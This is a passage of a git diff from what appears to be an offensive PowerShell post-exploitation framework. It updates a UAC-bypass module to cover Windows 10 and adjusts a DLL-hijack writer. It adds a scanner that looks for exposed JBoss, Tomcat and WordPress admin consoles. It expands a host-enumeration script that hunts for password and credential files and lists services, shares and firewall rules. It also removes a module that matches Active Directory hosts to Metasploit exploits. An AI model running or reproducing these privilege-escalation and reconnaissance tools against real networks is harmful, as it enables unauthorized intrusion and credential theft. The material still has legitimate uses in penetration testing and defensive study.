$SearchTerms = $Terms - } - - # append wildcards to the front and back of all search terms - for ($i = 0; $i -lt $SearchTerms.Count; $i++) { - $SearchTerms[$i] = "*$($SearchTerms[$i])*" - } - - # search just for office documents if specified - if ($OfficeDocs){ - $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') - } - - # find .exe's accessed within the last 7 days - if($FreshEXES){ - # get an access time limit of 7 days ago - $AccessDateLimit = (get-date).AddDays(-7).ToString('MM/dd/yyyy') - $SearchTerms = '*.exe' - } - } - - process { - # build our giant recursive search command w/ conditional options - $cmd = "get-childitem $Path -rec $(if(-not $ExcludeHidden){`"-Force`"}) -ErrorAction SilentlyContinue -include $($SearchTerms -join `",`") | where{ $(if($ExcludeFolders){`"(-not `$_.PSIsContainer) -and`"}) (`$_.LastAccessTime -gt `"$AccessDateLimit`") -and (`$_.LastWriteTime -gt `"$WriteDateLimit`") -and (`$_.CreationTime -gt `"$CreateDateLimit`")} | select-object FullName,@{Name='Owner';Expression={(Get-Acl `$_.FullName).Owner}},LastAccessTime,LastWriteTime,Length $(if($CheckWriteAccess){`"| where { `$_.FullName } | where { Invoke-CheckWrite -Path `$_.FullName }`"}) $(if($OutFile){`"| export-csv -Append -notypeinformation -path $OutFile`"})" - - # execute the command - Invoke-Expression $cmd - } -} diff --git a/data/module_source/privesc/Invoke-BypassUAC.ps1 b/data/module_source/privesc/Invoke-BypassUAC.ps1 index 4a3fcd313..189f7f012 100644 --- a/data/module_source/privesc/Invoke-BypassUAC.ps1 +++ b/data/module_source/privesc/Invoke-BypassUAC.ps1 @@ -552,7 +552,7 @@ function Invoke-BypassUAC $szTempDllPath = $TempPayloadPath Write-Verbose "Windows 7/2008 detected" } - elseif (($OSVersion -eq "6.2") -or ($OSVersion -eq "6.3")) { + elseif (($OSVersion -eq "6.2") -or ($OSVersion -eq "6.3") -or ($OSVersion -eq "10.0")) { # windows 8/2012 $szElevDll = 'NTWDBLIB.dll' $szElevDir = $env:WINDIR + "\System32" @@ -607,4 +607,4 @@ function Invoke-BypassUAC Write-Verbose "Removing temporary payload $TempPayloadPath" Remove-Item -Path $TempPayloadPath -Force -} \ No newline at end of file +} diff --git a/data/module_source/privesc/powerup/Write-HijackDll.ps1 b/data/module_source/privesc/powerup/Write-HijackDll.ps1 index 27c145adf..149485884 100644 --- a/data/module_source/privesc/powerup/Write-HijackDll.ps1 +++ b/data/module_source/privesc/powerup/Write-HijackDll.ps1 @@ -1,4 +1,3 @@ - function Write-HijackDll { <# .SYNOPSIS @@ -8,8 +7,8 @@ function Write-HijackDll { .PARAMETER OutputFile File name to write the .dll to. - .PARAMETER BatchPath - Patch to the .bat for the .dll to launch. Defaults to "debug.bat" in the + .PARAMETER BatPath + Path to the .bat for the .dll to launch. Defaults to "debug.bat" in the .dll's current directory. .PARAMETER Arch @@ -28,7 +27,7 @@ function Write-HijackDll { $OutputFile, [string] - $BatchPath, + $BatPath, [string] $Arch @@ -62,8 +61,8 @@ function Write-HijackDll { } # patch in the appropriate .bat launcher path if specified - if ($BatchPath) { - $DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString "debug.bat" -ReplaceString $BatchPath + if ($BatPath) { + $DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString "debug.bat" -ReplaceString $BatPath } Set-Content -value $DllBytes -encoding byte -path $OutputFile diff --git a/data/module_source/recon/Find-Fruit.ps1 b/data/module_source/recon/Find-Fruit.ps1 new file mode 100644 index 000000000..aeb5368ee --- /dev/null +++ b/data/module_source/recon/Find-Fruit.ps1 @@ -0,0 +1,204 @@ +function Find-Fruit +{ +<# +.SYNOPSIS + +Search for "low hanging fruit". + +.DESCRIPTION + +A script to find potentially easily exploitable web servers on a target network. + +.PARAMETER Rhosts + +Targets in CIDR or comma separated format. + +.PARAMETER Port + +Specifies the port to connect to. + +.PARAMETER Path + +Path to custom dictionary. + +.PARAMETER Timeout + +Set timeout for each connection. + +.PARAMETER UseSSL + +Use an SSL connection. + +.EXAMPLE + +C:\PS> Find-Fruit -Rhosts 192.168.1.0/24 -Port 8080 -Timeout 50 +C:\PS> Find-Fruit -Rhosts 192.168.1.0/24 -Path dictionary.txt -Port 443 -Timeout 50 + + +.NOTES +Credits to mattifestation for Get-HttpStatus +HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error + + +#> + + [CmdletBinding()] Param( + [Parameter(Mandatory = $True)] + [String] + $Rhosts, + + [Int] + $Port, + + [String] + $Path, + + [Int] + $Timeout = "50", + + [Switch] + $UseSSL + ) + $hostList = New-Object System.Collections.ArrayList + + [String] $iHosts = $Rhosts.Split(",") + + foreach($iHost in $iHosts) + { + $iHost = $iHost.Replace(" ", "") + + if(!$iHost) + { + continue + } + + if($iHost.contains("/")) + { + $netPart = $iHost.split("/")[0] + [uint32]$maskPart = $iHost.split("/")[1] + + $address = [System.Net.IPAddress]::Parse($netPart) + if ($maskPart -ge $address.GetAddressBytes().Length * 8) + { + throw "Bad host mask" + } + + $numhosts = [System.math]::Pow(2,(($address.GetAddressBytes().Length *8) - $maskPart)) + + $startaddress = $address.GetAddressBytes() + [array]::Reverse($startaddress) + + $startaddress = [System.BitConverter]::ToUInt32($startaddress, 0) + [uint32]$startMask = ([System.math]::Pow(2, $maskPart)-1) * ([System.Math]::Pow(2,(32 - $maskPart))) + $startAddress = $startAddress -band $startMask + #in powershell 2.0 there are 4 0 bytes padded, so the [0..3] is necessary + $startAddress = [System.BitConverter]::GetBytes($startaddress)[0..3] + [array]::Reverse($startaddress) + $address = [System.Net.IPAddress] [byte[]] $startAddress + + $hostList.Add($address.IPAddressToString) + + for ($i=0; $i -lt $numhosts-1; $i++) + { + $nextAddress = $address.GetAddressBytes() + [array]::Reverse($nextAddress) + $nextAddress = [System.BitConverter]::ToUInt32($nextAddress, 0) + $nextAddress ++ + $nextAddress = [System.BitConverter]::GetBytes($nextAddress)[0..3] + [array]::Reverse($nextAddress) + $address = [System.Net.IPAddress] [byte[]] $nextAddress + $hostList.Add($address.IPAddressToString)|Out-Null + + } + } + else + { + $hostList.Add($iHost) + + } + } + + if ($UseSSL -and $Port -eq 0) { + # Default to 443 if SSL is specified but no port is specified + $Port = 443 + } elseif ($Port -eq 0) { + # Default to port 80 if no port is specified + $Port = 80 + } + + + if ($UseSSL) { + $SSL = 's' + # Ignore invalid SSL certificates + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True } + } else { + $SSL = '' + } + + if (($Port -eq 80) -or ($Port -eq 443)) { + $PortNum = '' + } else { + $PortNum = ":$Port" + } + + if ($Path) + { + if (!(Test-Path -Path $Path)) { Throw "File doesnt exist" } + $VulnLinks = @() + foreach ($Link in Get-Content $Path) { + $VulnLinks = $VulnLinks + $Link + } + } else { + $VulnLinks = @() + $VulnLinks = $VulnLinks + "jmx-console/" # Jboss + $VulnLinks = $VulnLinks + "web-console/ServerInfo.jsp" # Jboss + $VulnLinks = $VulnLinks + "invoker/JMXInvokerServlet" # Jboss + $VulnLinks = $VulnLinks + "lc/system/console" # Adobe LiveCycle OSGi console + $VulnLinks = $VulnLinks + "axis2/axis2-admin/" # Apache Axis2 + $VulnLinks = $VulnLinks + "manager/html/" # Tomcat + $VulnLinks = $VulnLinks + "tomcat/manager/html/" # Tomcat + $VulnLinks = $VulnLinks + "wp-admin" # Wordpress + $VulnLinks = $VulnLinks + "workorder/FileDownload.jsp" #Manage Engine + $VulnLinks = $VulnLinks + "ibm/console/logon.jsp?action=OK" # WebSphere + $VulnLinks = $VulnLinks + "data/login" # Dell iDrac + } + + # Check Http status for each entry in the ditionary file + foreach ($Target in $hostList) + { + $TcpConnection = New-Object System.Net.Sockets.TcpClient + Write-Verbose "Path Test Succeeded - Testing Connectivity" + + + foreach ($Item in $Vulnlinks) { + + $WebTarget = "http$($SSL)://$($Target)$($PortNum)/$($Item)" + $URI = New-Object Uri($WebTarget) + + try { + $WebRequest = [System.Net.WebRequest]::Create($URI) + $WebResponse = $WebRequest.Timeout=$Timeout + $WebResponse = $WebRequest.GetResponse() + $WebStatus = $WebResponse.StatusCode + $ResultObject += $ScanObject + $WebResponse.Close() + } catch { + $WebStatus = $Error[0].Exception.InnerException.Response.StatusCode + + if ($WebStatus -eq $null) { + # Not every exception returns a StatusCode. + # If that is the case, return the Status. + $WebStatus = $Error[0].Exception.InnerException.Status + } + } + + $Result = @{ Status = $WebStatus; + URL = $WebTarget} + + $ScanObject = New-Object -TypeName PSObject -Property $Result + + Write-Output $ScanObject + + } + } +} diff --git a/data/module_source/situational_awareness/host/Invoke-WinEnum.ps1 b/data/module_source/situational_awareness/host/Invoke-WinEnum.ps1 index aa74cf34e..90fe00272 100644 --- a/data/module_source/situational_awareness/host/Invoke-WinEnum.ps1 +++ b/data/module_source/situational_awareness/host/Invoke-WinEnum.ps1 @@ -5,54 +5,39 @@ function Invoke-WinEnum{ Collects all revelant information about a host and the current user context. .DESCRIPTION - After gaining initial access to a target host. It is recommended to gain situational awareness by enumerating the user and system. + This script conducts user, system, and network enumeration using the current user context or with a specified user and/or keyword. - .PARAMETER User - Specify a user to enumerate. The default is the current user. + .PARAMETER UserName + Specify a user to enumerate. The default is the current user context. - .PARAMETER keyword - Specify a keyword to use in file searches. - - .PARAMETER UserInfo - Enumerate user information - - .PARAMETER SysInfo - Enumerate system information of the current host - - .PARAMETER NetInfo - Enumerate the current network + .PARAMETER keywords + Specify a keyword or array of keywords to use in file searches. .EXAMPLE - Conduct all enumeration with a keyword for file searches. - - Invoke-WinEnum -UserInfo keyword "putty" -SysInfo -NetInfo + Conduct enumeration with a username and keyword + Invoke-WindowsEnum -User "sandersb" + .EXAMPLE - Conduct all enumeration with a username + Conduct enumeration with a keyword for file searches. - Invoke-WinEnum -User "sandersb" -UserInfo -SysInfo -NetInfo + Invoke-WindowsEnum -keyword "putty" #> [CmdletBinding()] Param( + [Parameter(Mandatory=$False,Position=0)] + [string]$UserName, [Parameter(Mandatory=$False,Position=1)] - [string]$User, - [Parameter(Mandatory=$False)] - [string]$keyword, - [Parameter(Mandatory=$False)] - [switch]$UserInfo, - [Parameter(Mandatory=$False)] - [switch]$SysInfo, - [Parameter(Mandatory=$False)] - [switch]$NetInfo + [string[]]$keywords ) - If($UserInfo){ - if($User){ - "UserName: $User`n" - $DomainUser = $User + Function Get-UserInfo{ + if($UserName){ + "UserName: $UserName`n" + $DomainUser = $UserName } else{ #If the username was not provided, @@ -79,7 +64,7 @@ function Invoke-WinEnum{ #Get the distinguishedName for the domain $usr = $dsclassUP::FindByIdentity($contextTypeDomain,$iType,$DomainUser) #Grab the user principal object for the domain. - $usr.GetGroups() | foreach {$_.Name + "`n"} + $usr.GetGroups() | foreach {$_.Name} #Enumerate all groups the user is apart of @@ -87,42 +72,58 @@ function Invoke-WinEnum{ "Password Last changed" "`n-------------------------------------`n" - $usr.LastPasswordSet + "`n" + $($usr.LastPasswordSet) + "`n" "`n-------------------------------------`n" "Last 5 files opened" "`n-------------------------------------`n" - $LastOpenedFiles = Get-ChildItem -Path "C:\Users\$Username" -Recurse -Include @("*.txt","*.pdf","*.docx","*.doc","*.xls","*.ppt") -ea SilentlyContinue | Sort-Object {$_.LastAccessTime} | select -First 5 - if($LastOpenedFiles){ - foreach ($file in $LastOpenedFiles){ - "Filepath: " + $file.FullName + "`n" - "Last Accessed: " + $file.LastAccessTime + "`n" + $AllOpenedFiles = Get-ChildItem -Path "C:\" -Recurse -Include @("*.txt","*.pdf","*.docx","*.doc","*.xls","*.ppt") -ea SilentlyContinue | Sort-Object {$_.LastAccessTime} + $LastOpenedFiles = @() + $AllOpenedFiles | ForEach-Object { + $owner = $($_.GetAccessControl()).Owner + $owner = $owner.split('\')[-1] + if($owner -eq $UserName){ + $LastOpenedFiles += $_ } } + if($LastOpenedFiles){ + $LastOpenedFiles | Sort-Object LastAccessTime -Descending | Select-Object FullName, LastAccessTime -First 5 | Format-List | Out-String + } "`n-------------------------------------`n" "Interesting Files" "`n-------------------------------------`n" #If the keyword is set, use it in the file search - if($keyword){ - $interestingFiles = Get-ChildItem -Path "C:\Users\$Username" -Recurse -Include @($keyword) -ea SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False} | Sort-Object {$_.LastAccessTime} - if($interestingFiles){ - foreach($file in $interestingFiles){ - "Filepath: " + $file.FullName + "`n" - "Last Accessed: " + $file.LastAccessTime + "`n" + $NewestInterestingFiles = @() + if($keywords) + { + $AllInterestingFiles = Get-ChildItem -Path "C:\" -Recurse -Include $keywords -ea SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False} | Sort-Object {$_.LastAccessTime} + $AllInterestingFiles | ForEach-Object { + $owner = $_.GetAccessControl().Owner + $owner = $owner.split('\')[-1] + if($owner -eq $UserName){ + $NewestInterestingFiles += $_ } + } + if($NewestInterestingFiles){ + $NewestInterestingFiles | Sort-Object LastAccessTime -Descending | Select-Object FullName, LastAccessTime | Format-List | Out-String } } - #Otherwise, search using the pre-defined list - else{ - $interestingFiles = Get-ChildItem -Path "C:\Users\$Username" -Recurse -Include @("*pass*","*admin*","*config*","*cred*","*key*","*ssh*","*putty*","*vpn*") -ea SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False} - if($interestingFiles){ - foreach($file in $interestingFiles){ - "Filepath: " + $file.FullName + "`n" - "Last Accessed: " + $file.LastAccessTime + "`n" + else + { + $AllInterestingFiles = Get-ChildItem -Path "C:\" -Recurse -Include @("*.txt","*.pdf","*.docx","*.doc","*.xls","*.ppt","*pass*","*cred*") -ErrorAction SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False} | Sort-Object {$_.LastAccessTime} + $AllInterestingFiles | ForEach-Object { + $owner = $_.GetAccessControl().Owner + $owner = $owner.split('\')[-1] + if($owner -eq $UserName){ + $NewestInterestingFiles += $_ } - } + } + if($NewestInterestingFiles) + { + $NewestInterestingFiles | Sort-Object LastAccessTime -Descending | Select-Object FullName, LastAccessTime | Format-List | Out-String + } } "`n-------------------------------------`n" @@ -143,7 +144,7 @@ function Invoke-WinEnum{ "`n" } - if($SysInfo){ + Function Get-SysInfo{ "`n-------------------------------------`n" "System Information" "`n-------------------------------------`n" @@ -152,17 +153,42 @@ function Invoke-WinEnum{ $OSArch = (Get-WmiObject -class win32_operatingsystem).OSArchitecture "OS: $OSVersion $OSArch`n" - If($OSArch -eq '64-bit'){ + if($OSArch -eq '64-bit') + { $registeredAppsx64 = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName - $registeredApps = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName - $registeredApps = $registeredApps + $registeredAppsx64 - $registeredApps = $registeredApps | Sort-Object DisplayName -Unique - + $registeredAppsx86 = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName + $registeredAppsx64 | Where-Object {$_.DisplayName -ne ' '} | Select-Object DisplayName | Format-Table -AutoSize | Out-String + $registeredAppsx86 | Where-Object {$_.DisplayName -ne ' '} | Select-Object DisplayName | Format-Table -AutoSize | Out-String } - else{ - $registeredApps = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName + else + { + $registeredAppsx86 = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName + $registeredAppsx86 | Where-Object {$_.DisplayName -ne ' '} | Select-Object DisplayName | Format-Table -AutoSize | Out-String + } + + "`n-------------------------------------`n" + "Services" + "`n-------------------------------------`n" + + $AllServices = @() + Get-WmiObject -class win32_service | ForEach-Object{ + $service = New-Object PSObject -Property @{ + ServiceName = $_.DisplayName + ServiceStatus = (Get-service | where-object { $_.DisplayName -eq $ServiceName}).status + ServicePathtoExe = $_.PathName + StartupType = $_.StartMode + } + $AllServices += $service } + $AllServices | Select ServicePathtoExe, ServiceName | Format-Table -AutoSize | Out-String + + "`n-------------------------------------`n" + "Available Shares" + "`n-------------------------------------`n" + + Get-WmiObject -class win32_share | Format-Table -AutoSize Name, Path, Description, Status | Out-String + "`n-------------------------------------`n" "AV Solution" "`n-------------------------------------`n" @@ -218,17 +244,17 @@ function Invoke-WinEnum{ } - #Coming soon - if($NetInfo){ + + Function Get-NetInfo{ "`n-------------------------------------`n" "Network Adapters" "`n-------------------------------------`n" #http://thesurlyadmin.com/2013/05/20/using-powershell-to-get-adapter-information/ foreach ($Adapter in (Get-WmiObject -class win32_networkadapter -Filter "NetConnectionStatus='2'")){ $config = Get-WmiObject -class win32_networkadapterconfiguration -Filter "Index = '$($Adapter.Index)'" - "--------------------------`n" + "`n" "Adapter: " + $Adapter.Name + "`n" - "--------------------------`n" + "`n" "IP Address: " if($config.IPAddress -is [system.array]){ $config.IPAddress[0] + "`n" @@ -236,10 +262,9 @@ function Invoke-WinEnum{ else{ $config.IPAddress + "`n" } - "---------------------------`n" + "`n" "Mac Address: " + $Config.MacAddress - "---------------------------`n" - + "`n" } "`n-------------------------------------`n" @@ -310,8 +335,56 @@ function Invoke-WinEnum{ Name = $DriveName } $NetworkDrive - } + } + + + "`n-------------------------------------`n" + "Firewall Rules" + "`n-------------------------------------`n" + #http://blogs.technet.com/b/heyscriptingguy/archive/2010/07/03/hey-scripting-guy-weekend-scripter-how-to-retrieve-enabled-windows-firewall-rules.aspx + #Create the firewall com object to enumerate + $fw = New-Object -ComObject HNetCfg.FwPolicy2 + #Retrieve all firewall rules + $FirewallRules = $fw.rules + #create a hashtable to define all values + $fwprofiletypes = @{1GB="All";1="Domain"; 2="Private" ; 4="Public"} + $fwaction = @{1="Allow";0="Block"} + $FwProtocols = @{1="ICMPv4";2="IGMP";6="TCP";17="UDP";41="IPV6";43="IPv6Route"; 44="IPv6Frag"; + 47="GRE"; 58="ICMPv6";59="IPv6NoNxt";60="IPv60pts";112="VRRP"; 113="PGM";115="L2TP"} + $fwdirection = @{1="Inbound"; 2="Outbound"} + + #Retrieve the profile type in use and the current rules + + $fwprofiletype = $fwprofiletypes.Get_Item($fw.CurrentProfileTypes) + $fwrules = $fw.rules + + "Current Firewall Profile Type in use: $fwprofiletype" + $AllFWRules = @() + #enumerate the firewall rules + $fwrules | ForEach-Object{ + #Create custom object to hold properties for each firewall rule + $FirewallRule = New-Object PSObject -Property @{ + ApplicationName = $_.Name + Protocol = $fwProtocols.Get_Item($_.Protocol) + Direction = $fwdirection.Get_Item($_.Direction) + Action = $fwaction.Get_Item($_.Action) + LocalIP = $_.LocalAddresses + LocalPort = $_.LocalPorts + RemoteIP = $_.RemoteAddresses + RemotePort = $_.RemotePorts + } + + $AllFWRules += $FirewallRule + + + } + $AllFWRules | Select-Object Action, Direction, RemoteIP, RemotePort, LocalPort, ApplicationName | Format-List | Out-String } + Get-UserInfo + Get-SysInfo + Get-NetInfo + + } \ No newline at end of file diff --git a/data/module_source/situational_awareness/network/Get-ExploitableSystems.psm1 b/data/module_source/situational_awareness/network/Get-ExploitableSystems.psm1 deleted file mode 100644 index 33a35290d..000000000 --- a/data/module_source/situational_awareness/network/Get-ExploitableSystems.psm1 +++ /dev/null @@ -1,324 +0,0 @@ -<# - .Synopsis - This module will query Active Directory for the hostname, OS version, and service pack level - for each computer account. That information is then cross-referenced against a list of common - Metasploit exploits that can be used during penetration testing. - - .DESCRIPTION - This module will query Active Directory for the hostname, OS version, and service pack level - for each computer account. That information is then cross-referenced against a list of common - Metasploit exploits that can be used during penetration testing. The script filters out disabled - domain computers and provides the computer's last logon time to help determine if it's been - decommissioned. Also, since the script uses data tables to output affected systems the results - can be easily piped to other commands such as test-connection or a Export-Csv. - - .EXAMPLE - The example below shows the standard command usage. Disabled system are excluded by default, but - the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't - logged on for two or more weeks it's been decommissioned. - - PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize - [*] Grabbing computer accounts from Active Directory... - [*] Loading exploit list for critical missing patches... - [*] Checking computers for vulnerable OS and SP levels... - [+] Found 5 potentially vulnerabile systems! - - ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE - ------------ --------------- ----------- --------- --------- --- - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - - .EXAMPLE - The example below shows how to write the output to a csv file. - - PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Export-Csv c:\temp\output.csv -NoTypeInformation - - .EXAMPLE - The example below shows how to pipe the resultant list of computer names into the test-connection to determine if they response to ping - requests. - - PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Test-Connection - - .LINK - http://www.netspi.com - - .NOTES - Author: Scott Sutherland - 2015, NetSPI - Version: Get-ExploitableSystems.psm1 v1.0 - Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" - function found in Carols Perez's PoshSec-Mod project. The general idea is based off of - Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit. - -#> -function Get-ExploitableSystems -{ - [CmdletBinding()] - Param( - [Parameter(Mandatory=$false, - HelpMessage="Credentials to use when connecting to a Domain Controller.")] - [System.Management.Automation.PSCredential] - [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(Mandatory=$false, - HelpMessage="Domain controller for Domain and Site that you want to query against.")] - [string]$DomainController, - - [Parameter(Mandatory=$false, - HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000.")] - [int]$Limit = 1000, - - [Parameter(Mandatory=$false, - HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")] - [ValidateSet("Subtree","OneLevel","Base")] - [string]$SearchScope = "Subtree", - - [Parameter(Mandatory=$false, - HelpMessage="Distinguished Name Path to limit search to.")] - [string]$SearchDN - ) - Begin - { - if ($DomainController -and $Credential.GetNetworkCredential().Password) - { - $objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password - $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain - } - else - { - $objDomain = [ADSI]"" - $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain - } - } - - Process - { - - # Status user - Write-Host "[*] Grabbing computer accounts from Active Directory..." - - - # ---------------------------------------------------------------- - # Setup data table for domain computer information - # ---------------------------------------------------------------- - - # Create data table for hostnames, os, and service packs from LDAP - $TableAdsComputers = New-Object System.Data.DataTable - $TableAdsComputers.Columns.Add('Hostname') | Out-Null - $TableAdsComputers.Columns.Add('OperatingSystem') | Out-Null - $TableAdsComputers.Columns.Add('ServicePack') | Out-Null - $TableAdsComputers.Columns.Add('LastLogon') | Out-Null - - - # ---------------------------------------------------------------- - # Grab computer account information from Active Directory via LDAP - # ---------------------------------------------------------------- - - $CompFilter = "(&(objectCategory=Computer))" - $ObjSearcher.PageSize = $Limit - $ObjSearcher.Filter = $CompFilter - $ObjSearcher.SearchScope = "Subtree" - - if ($SearchDN) - { - $objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)") - } - - $ObjSearcher.FindAll() | ForEach-Object { - - # Setup fields - $CurrentHost = $($_.properties['dnshostname']) - $CurrentOs = $($_.properties['operatingsystem']) - $CurrentSp = $($_.properties['operatingsystemservicepack']) - $CurrentLast = $($_.properties['lastlogon']) - $CurrentUac = $($_.properties['useraccountcontrol']) - - # Convert useraccountcontrol to binary so flags can be checked - # http://support.microsoft.com/en-us/kb/305144 - # http://blogs.technet.com/b/askpfeplat/archive/2014/01/15/understanding-the-useraccountcontrol-attribute-in-active-directory.aspx - $CurrentUacBin = [convert]::ToString($CurrentUac,2) - - # Check the 2nd to last value to determine if its disabled - $DisableOffset = $CurrentUacBin.Length - 2 - $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) - - # Add computer to list if it's enabled - if ($CurrentDisabled -eq 0){ - - # Add domain computer to data table - $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) | Out-Null - } - - } - - # Status user - Write-Host "[*] Loading exploit list for critical missing patches..." - - # ---------------------------------------------------------------- - # Setup data table for list of msf exploits - # ---------------------------------------------------------------- - - # Create data table for list of patches levels with a MSF exploit - $TableExploits = New-Object System.Data.DataTable - $TableExploits.Columns.Add('OperatingSystem') | Out-Null - $TableExploits.Columns.Add('ServicePack') | Out-Null - $TableExploits.Columns.Add('MsfModule') | Out-Null - $TableExploits.Columns.Add('CVE') | Out-Null - - # Add exploits to data table - $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 